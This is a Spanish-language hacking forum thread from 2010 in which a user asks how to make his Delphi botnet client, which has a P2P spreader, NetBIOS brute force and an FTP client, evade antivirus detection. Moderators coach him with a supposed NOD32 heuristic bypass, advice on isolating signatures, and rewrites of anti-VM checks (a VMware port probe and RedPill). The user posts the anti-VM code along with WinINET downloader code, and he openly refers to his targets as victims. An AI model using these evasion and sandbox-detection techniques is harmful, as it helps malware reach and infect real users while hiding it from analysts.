elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
23 Mayo 2012, 23:58  


Tema destacado: Nueva página de elhacker.net en Google+ Google+

+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  ¿Deteccion 20 % NoVirusThanks?
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: ¿Deteccion 20 % NoVirusThanks?  (Leído 2,421 veces)
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
¿Deteccion 20 % NoVirusThanks?
« en: 25 Febrero 2010, 07:00 »

Alguien tiene idea de como evadir esta deteccion sin crypters ni nada de eso XD ...  :¬¬

Código:
a-squared 24/02/2010 4.5.0.8 -
Avira AntiVir 7.10.4.139 7.6.0.59 TR/Dldr.Delphi.Gen2
Avast 100224-0 4.8.1368 -
AVG 271.1.1/2707 9.0.0.725 -
BitDefender 25/02/2010 7.0.0.2555 DeepScan:Generic.Malware.G!SIFHYVg.AC2CA91F
ClamAV 24/02/2010 0.95.3 -
Comodo 3468 3.13.579 -
Dr.Web 25/02/2010 5.0 DLOADER.Trojan
Ewido 25/02/2010 - -
F-PROT6 20100224 6.3.3.4884 -
G-Data 19.9309 2.0.7309.847 -
Ikarus T3 24/02/2010 1001074 -
Kaspersky 25/02/2010 9.0.0.736 -
McAfee 24/02/2010 5.1.0.0 -
NOD32 4893 4.0.474 NewHeur_PE virus
Panda 23/02/2010 9.5.2 -
Solo 25/02/2010 8.0 -
TrendMicro 871(687100) 1.1-1001 -
VBA32 25/02/2010 3.12.12.2 -
VirusBuster 12.23.2.0 1.5.5.0 -
 
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #1 en: 25 Febrero 2010, 12:57 »

Tienes el codigo de eso? Sera mucho mas sencillo...

Sino haz lo tipico... busca la firma que te detectan y modificala... Hay muchas formas...
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #2 en: 25 Febrero 2010, 14:45 »

  Pues si tengo el code  ;D antes la unica dceteccion era la de avira pero con las modificaciones incrustadas en los dos ultimos meses me reboto esto  :-\ lo del doctor web ha de ser una firma, lo de nod32 he leido algo por alli y nod32 virtualiza la ejecucion del programa y el positivo es producto de heuristica, lo de Bit Defender no hay la minima referencia en internet y lo de Avira esa deteccion viene de tiempos memorables pero ya que era la unica nunca me preocupe  :( .

  En si es un bot hecho en delphi abre un puerto y utiliza dos clientes, realiza dos conexiones durante la ejecucion, tiene un cliente ftp que es para la subida y bajada de archivos, tiene un emulador No-IP, NetBios BruteForce ,P2P Spreader, ... X Ahora  :P

  ¿ Que tendria que hacer ?
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #3 en: 25 Febrero 2010, 15:33 »

Para saltarte la heuristica del NOD solo has de añadir esta instruccion de ASM:
Código
pminsw xmm0,xmm1
Para lo otro prueba a cambiar por ejemplo el metodo que usas para descargar... si es que usa algo de eso.. sino el DrWeb se ha vuelto loco :laugh:
En línea

[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #4 en: 25 Febrero 2010, 15:48 »

Si se va el NOD32 probablemente se vaya el Bitdefender también  :rolleyes:. Como te dijo Karcrack, revisa el método que usas para descargar, y si no resulta, vete borrando código hasta que no te lo detecten y puedas ver a que se debe.

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #5 en: 25 Febrero 2010, 16:04 »

Para saltarte la heuristica del NOD solo has de añadir esta instruccion de ASM:
Código
pminsw xmm0,xmm1
Para lo otro prueba a cambiar por ejemplo el metodo que usas para descargar... si es que usa algo de eso.. sino el DrWeb se ha vuelto loco :laugh:

y eso lo podria colocar en el entry point ? algo asi

Código:
asm
   pminsw xmm0,xmm1
end ;   

lo del doctor web tal vez sea el cliente ftp  :¬¬ sera revisar el code  :) ...

 Gracias..
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #6 en: 25 Febrero 2010, 16:30 »

Para saltarte la heuristica del NOD solo has de añadir esta instruccion de ASM:
Código
pminsw xmm0,xmm1
Para lo otro prueba a cambiar por ejemplo el metodo que usas para descargar... si es que usa algo de eso.. sino el DrWeb se ha vuelto loco :laugh:

y eso lo podria colocar en el entry point ? algo asi

Código:
asm
   pminsw xmm0,xmm1
end ;   

lo del doctor web tal vez sea el cliente ftp  :¬¬ sera revisar el code  :) ...

 Gracias..

Si, eso el el EP deberia funcionar perfectamente, si Delphi no te reconoce las instrucciones prueba a meter los OPCODES, sino te tocara hacerlo con Olly..
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #7 en: 27 Febrero 2010, 04:30 »

 :-( Pues no me funciono el code que coloco Karckrack ...... lo unico que pude lograr fue eliminar el positivo del BitDefender desechando algunas instrucciones que el programa utilizaba de una dll y hacerlas a mano  :¬¬ ... he estado subiendo cada una de las versiones tambien intente con desechar todas las apis de esa dll de delphi pero las tres detecciones restante lo que hacen es cambiar de nombre ... exepto la de avira ..

  Ahora estoy revisando y añadiendo modulo por modulo a un proyecto paralelo a ver cuales son los que estan detectados ...
 
  Creo que tendre que hacerme un Crypter  :-( ¡¡¡¡
  Aunque el 15 % de deteccion no es tan malo ..

  
« Última modificación: 27 Febrero 2010, 05:09 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.059


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #8 en: 27 Febrero 2010, 21:56 »

Dájate de crypters y hazlo fud, tener que usar uno solo crearía problemas, es mejor que te detecte la mitad por firma que que te detecten todos por proactiva  ;).

Saludos
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #9 en: 28 Febrero 2010, 01:54 »

Los siguientes codes son el responsable de la deteccion de BitDefender es el unico copy past del proyecto  :-[  y es para detectar Maquina Virtual aqui los pongo tal como los encontre en c++

Código:
bool Test2()
{
  bool rc = true ;

  __try
  {
    __asm
    {
      push   edx
      push   ecx
      push   ebx
      mov    eax, 'VMXh'
      mov    ebx, 9 // any value but not the MAGIC VALUE mov ebx, 0 / / cualquier valor, pero no el valor mágico
      mov    ecx, 10 // get VMWare version mov ecx, 10 / / obtener la versión de VMWare
      mov    edx, 'VX' // port number mov edx, / 'VX' / número de puerto
      in     eax, dx // read port en eax, dx / / leer el puerto

      cmp    ebx, 'VMXh' // is it a reply from VMWare? ebx cmp, 'VMXh' / / es una respuesta de VMWare?
      setz   [rc] // set return value Setz [RC] / / establecer el valor de retorno

      pop    ebx
      pop    ecx
      pop    edx
    }
   }
  catch (...)
  {
    rc = false ;
  }

  return rc;

}

 bool Test3 ()
 {
unsigned char m[2+4], rpill[] = "\x0f\x01\x0d\x00\x00\x00\x00\xc3";
*((unsigned*)&rpill[3]) = (unsigned)m;
((void(*)())&rpill)();
if(m[5]>0xd0)
  return true;
else
  return 0;

}
bool  __fastcall TService14::DetectarMaquinaVirtual()
{
 if(Test3())
   return true;
 if(Test1())
   return true;
 if(Test2())
   return true;

 return false;
}
 Lo mas interesante es que al suprimir estas funciones la deteccion de avira cambia ha

Citar
TR/Downloader.Gen2


inmagino que habra que hacer opcodes de eso pero la verdad ya estan algo añejas esas funciones ......  :silbar: He leido de hacer tests de hardware para detectar VMWare los controladores utilizan direcciones hardcodeas que son modificadas al utilizar un VMWare pero eso es la teoria  :-[ si alguien sabe algo mas ...
File Info

Report date: 2010-02-28 01:40:36 (GMT 1)
File name: cutre.exe
File size: 0 bytes
MD5 Hash:
SHA1 Hash:
Detection rate: 3 on 22 (14%)
Status: INFECTED

Detections

a-squared - -
Avast - -
AVG - -
Avira AntiVir - TR/Downloader.Gen2
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - DLOADER.Trojan
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 - NewHeur_PE virus
Panda - -
Solo - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
Zoner - -

Scan report generated by
NoVirusThanks.org


  Ya voy mejorando jeje ...


Agregado en la Madrugada XD  :-(

  Este Code es causante de la deteccion de Avira.

 
Código:
AnsiString MiIp::HtmlRead(char Direccion_http[127])
{
HINTERNET Url;
char *Buffer;
HINTERNET apertura;
char User_agent[] = "HTTP Client";
apertura = InternetOpen(User_agent, INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
if(apertura != NULL)
  {
   Url = InternetOpenUrlA( apertura, Direccion_http, 0, 0, INTERNET_FLAG_RELOAD, 0 );
   if(Url != NULL)
  {
   DWORD BytesRecurso;
   if( InternetQueryDataAvailable( Url, &BytesRecurso, 0, 0 ) != false)
{
DWORD BytesLeidos = 0;
Buffer = new char[BytesRecurso+1];
if( InternetReadFile( Url, Buffer, BytesRecurso, &BytesLeidos ) == true)
   {
Buffer[BytesRecurso] = '\0';
   }
}
   else
             {
Buffer = new char[16];
strcpy(Buffer,"127.0.0.1");
             }
   }
   }
InternetCloseHandle( Url );
InternetCloseHandle( apertura );
WSACleanup();
return Buffer;
}

  Como veran este lo utilizo para descargar el fichero con la ip externe d e la maquina..... pero despues de esto avira cambia la deteccion a HEUR/Crypted  :P debe ser por que toda las cadenas estan encriptadas ? ......
« Última modificación: 28 Febrero 2010, 06:40 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #10 en: 28 Febrero 2010, 14:04 »

Respecto al Test2():
Veo que unicamente utilizas un byte de los registros ebx, ecx, y del registro edx solo un word (2bytes) asi que un codigo equivalente seria:
Código
      push   edx
     push   ecx
     push   ebx
     xor   ebx, ebx
     xor   ecx, ecx
     xor   edx, edx
     mov    eax, 'VMXh'
     mov    bl, 9
     mov    cl, 10
     mov    dx, 'VX'
     ...
 

Respecto al Test3(), que es el famoso RedPill:
Código:
http://www.advancevb.com.ar/?p=332
http://www.cs.nps.navy.mil/people/faculty/irvine/publications/2000/VMM-usenix00-0611.pdf
http://invisiblethings.org/papers/redpill.html
http://www.ntsecurity.nu/onmymind/2007/2007-02-27.html
http://blog.assarbad.net/wp-content/uploads/2006/11/redpill_getting_colorless.pdf
El codigo que tienes equivale a este en ASM:
Código
      mov ecx, [esp+4] ;Siendo [ESP+4] el puntero a un Array de 6 bytes
     sidt [ecx]      
     retn

Respecto al codigo que te detecta el Avira:
Este va a ser mas dificil de saltar, yo de ti probaría a cambiar tooodas las APIs esas de WinINET por llamar al ActiveX WinINET con CoInitialize... etc... No se si es viable o que...
Código:
http://msdn.microsoft.com/en-us/library/ms680573(VS.85).aspx
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #11 en: 28 Febrero 2010, 22:23 »

  Gracias Karckrack los dos Tests estan fuds Test1 lo hice yo y lo que hace es buscar instalaciones de VMWare en la pc :( puede ser que vmware no este corriendo en el momento pero prefiero evadir victimas con VMWare instalado en su PC  :laugh: ...

  Ya por lo menos estoy en el 14 % para deshacerme de las otras tres detecciones tendre que desensamblar hasta los tuetanos el source  :-[  y son mas de 5000 lineas de code  :( ....

  Otra cosa intente pasarle UPX al exe me lo comprimio a mas de la mitad el tamaño pero las detecciones se dispararon a 6 por los momentos desisto de comprimir el exe ....

  Gracias  y Saludos ....
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.190


Se siente observado ¬¬'


Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #12 en: 28 Febrero 2010, 23:00 »

  Gracias Karckrack los dos Tests estan fuds Test1 lo hice yo y lo que hace es buscar instalaciones de VMWare en la pc :( puede ser que vmware no este corriendo en el momento pero prefiero evadir victimas con VMWare instalado en su PC  :laugh: ...
Eso es... una tonteria... :xD
Si te estas ejecutando en un entorno no virtualizado... que problema hay que este instalado la VM? Y ademas, desde dentro de la VM eso no serviria.. asi que ese metodo... no le veo mucho sentido :xD Creo que seria mas inteligente buscar las rutas de los Addons que tienen las VMs.... Esos si que estan instalados en el W$ de la VM, por lo tanto es util... :P
En línea

Jaixon Jax


Desconectado Desconectado

Mensajes: 855



Ver Perfil
Re: ¿Deteccion 20 % NoVirusThanks?
« Respuesta #13 en: 28 Febrero 2010, 23:22 »

  Gracias Karckrack los dos Tests estan fuds Test1 lo hice yo y lo que hace es buscar instalaciones de VMWare en la pc :( puede ser que vmware no este corriendo en el momento pero prefiero evadir victimas con VMWare instalado en su PC  :laugh: ...
Eso es... una tonteria... :xD
Si te estas ejecutando en un entorno no virtualizado... que problema hay que este instalado la VM? Y ademas, desde dentro de la VM eso no serviria.. asi que ese metodo... no le veo mucho sentido :xD Creo que seria mas inteligente buscar las rutas de los Addons que tienen las VMs.... Esos si que estan instalados en el W$ de la VM, por lo tanto es util... :P

  Jeje si ya suprimi esa funcion buscare mas info de lo que me recomiendas  ;D ...
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines